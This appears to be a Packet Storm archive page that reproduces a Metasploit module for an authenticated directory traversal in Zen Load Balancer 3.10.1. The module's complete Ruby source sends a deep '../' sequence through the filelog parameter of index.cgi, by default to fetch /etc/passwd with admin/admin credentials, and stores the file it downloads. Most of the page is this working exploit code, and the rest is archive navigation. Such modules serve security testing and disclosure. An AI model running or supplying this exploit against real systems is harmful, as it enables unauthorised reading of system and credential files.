exploit the possibilities

Zen Load Balancer 3.10.1 Directory Traversal

Zen Load Balancer 3.10.1 Directory Traversal
Posted Apr 23, 2020
Authored by Dhiraj Mishra, Basim Alabdullah | Site metasploit.com

This Metasploit module exploits an authenticated directory traversal vulnerability in Zen Load Balancer version 3.10.1. The flaw exists in index.cgi not properly handling the filelog= parameter which allows a malicious actor to load arbitrary file path.

tags | exploit, arbitrary, cgi, file inclusion
MD5 | 098e961d63357b612d0c1f8c93294ae0

Zen Load Balancer 3.10.1 Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Zen Load Balancer Directory Traversal",
'Description' => %q{
This module exploits a authenticated directory traversal
vulnerability in Zen Load
Balancer `v3.10.1`. The flaw exists in 'index.cgi' not
properly handling 'filelog='
parameter which allows a malicious actor to load arbitrary file path.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Basim Alabdullah', # Vulnerability discovery
'Dhiraj Mishra' # Metasploit module
],
'References' =>
[
['EDB', '48308']
],
'DisclosureDate' => "Apr 10 2020"
))

register_options(
[
Opt::RPORT(444),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptInt.new('DEPTH', [true, 'The max traversal depth', 16]),
OptString.new('FILEPATH', [false, 'The name of the file to
download', '/etc/passwd']),
OptString.new('TARGETURI', [true, "The base URI path of the
ZenConsole install", '/']),
OptString.new('HttpUsername', [true, 'The username to use for
the HTTP server', 'admin']),
OptString.new('HttpPassword', [false, 'The password to use for
the HTTP server', 'admin'])
])
end

def run_host(ip)
filename = datastore['FILEPATH']
traversal = "../" * datastore['DEPTH']

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.cgi'),
'vars_get'=>
{
'id' => '2-3',
'filelog' => "#{traversal}#{filename}",
'nlines' => '100',
'action' => 'See logs'
},
'authorization' =>
basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])
}, 25)

unless res && res.code == 200
print_error('Nothing was downloaded')
return
end

print_good("#{peer} - Downloaded #{res.body.length} bytes")
path = store_loot(
'zenload.http',
'text/plain',
ip,
res.body,
filename
)
print_good("File saved in: #{path}")
end
end


URL: https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/zenload_balancer_traversal.rb
Login or Register to add favorites

File Archive:

February 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    33 Files
  • 2
    Feb 2nd
    30 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    8 Files
  • 5
    Feb 5th
    11 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    1 Files
  • 8
    Feb 8th
    37 Files
  • 9
    Feb 9th
    15 Files
  • 10
    Feb 10th
    11 Files
  • 11
    Feb 11th
    26 Files
  • 12
    Feb 12th
    8 Files
  • 13
    Feb 13th
    1 Files
  • 14
    Feb 14th
    1 Files
  • 15
    Feb 15th
    9 Files
  • 16
    Feb 16th
    33 Files
  • 17
    Feb 17th
    6 Files
  • 18
    Feb 18th
    10 Files
  • 19
    Feb 19th
    20 Files
  • 20
    Feb 20th
    1 Files
  • 21
    Feb 21st
    1 Files
  • 22
    Feb 22nd
    17 Files
  • 23
    Feb 23rd
    15 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    28 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close